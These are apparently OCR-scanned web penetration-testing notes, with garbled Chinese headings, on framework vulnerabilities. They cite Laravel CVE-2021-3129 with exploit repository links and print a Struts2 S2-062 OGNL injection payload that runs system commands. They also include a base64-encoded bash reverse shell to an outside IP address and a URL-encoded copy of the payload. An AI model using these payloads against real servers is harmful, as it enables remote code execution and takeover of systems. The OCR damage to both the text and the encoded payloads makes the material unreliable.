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IIS, Apache, Nginx, Tomcat, Docker, K8s, Weblogic, JBoos,
WebSphere, Jenkins , GlassFish, Jetty, Jira, Struts2, Laravel,
Solr, Shiro, Thinkphp, Spring, Flask, jQuery%
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3. FFRMELE-Python-django-Flask

4. FFRHEZE-Javascript-Node.js-JQuery

AR F T RHESE:

PHP: Thinkphp Laravel YII CodeIgniter CakePHP Zend &
JAVA: Spring MyBatis Hibernate Struts2 Springboot &
Python: Django Flask Bottle Turbobars Tornado Web2py %5

Javascript: Vue.js Node.js Bootstrap JQuery Angular %
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—Laravel ;e—EfbiiE. AR PHP Web FFAHEZE (PHP Web Framework) o
CVE-2021-3129 RCE

Laravel <= 8.4.2

https://github.com/zhzyker/CVE-2021-3129
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
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A : https://github.com/YanMu2020/s2-062

FT:
Content-Type: multipart/form-data; boundary=----1

Content-Disposition: form-data; name="id"

%{ (#instancemanager=#application["org.apache.tomcat.InstanceManag
er"]) . (#stack=#attr["com.opensymphony.xwork2.util.ValueStack.Valu
eStack"]) . (#bean=#instancemanager.newlnstance ("org.apache.commons
.collections.BeanMap")) . (#bean.setBean (#stack)) . (#context=#bean.g
et ("context")) . (#bean.setBean (#context)) . (#macc=#bean.get ("member
Access")) . (#bean.setBean (#macc)) . (femptyset=#instancemanager.newl
nstance ("java.util.HashSet")) . (#bean.put ("excludedClasses", #empty
set)) . (#bean.put ("excludedPackageNames", femptyset)) . (farglist=#in
stancemanager.newlInstance ("java.util.ArrayList")) . (#arglist.add ("
id")) . (#execute=#instancemanager.newlInstance ("freemarker.template
.utility.Execute")) . (#execute.exec (#arglist)) }
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bash -c
{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1IN] YgMD4mMQ=
=} | {base6d,-d} | {bash, -1}

Content-Type: application/x-www-form-urlencoded

1d=%25%7b%28%23%69%6e%73%74%61%6e%63%65%6d%61%6e%61%67%65%72%3d%2
3%61%570%70%56Cc%69%563%61%574%69%6£%56e%50%522%6£%572%67%2e%61%570%61%63%
68%65%2e%74%6£%6d%63%61%74%2e%49%6e%73%74%61%6e%63%65%4d%61%6e%61
$67%65%72%22%55d%29%2e%28%23%73%74%61%63%6b%3d%23%61%74%74%72%5b%2
2%63%6£%6d%2e%6£570%65%6e%73%79%6d%70%568%6£%56e%79%2e%78%77%6£%72%
6b%32%2e%75%74%69%6Cc%2e%56%61%6Cc%75%65%53%74%61%63%6b%2e%56%61%6cC
%75%65%53%74%61%563%60%22%55d%29%2e%28%23%62%65%61%6e%3d%23%69%6e5%7
3%74%61%6e%63%65%56d%61%56e%61%67%565%72%52e%6e%565%77%549%6e%73%74%61%
6e%63%65%28%22%6£%72%67%2e%61%70%61%63%68%65%2e%63%6£%56d%6d%6f%6e
%73%2e%63%6£%6Cc%56C365%63%74%69%56£%6e573%2e%542%65%61%6e%4d%61%70%2
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https://docs.qq.com/doc/DQ3Z6RkNpaUtMcEFr

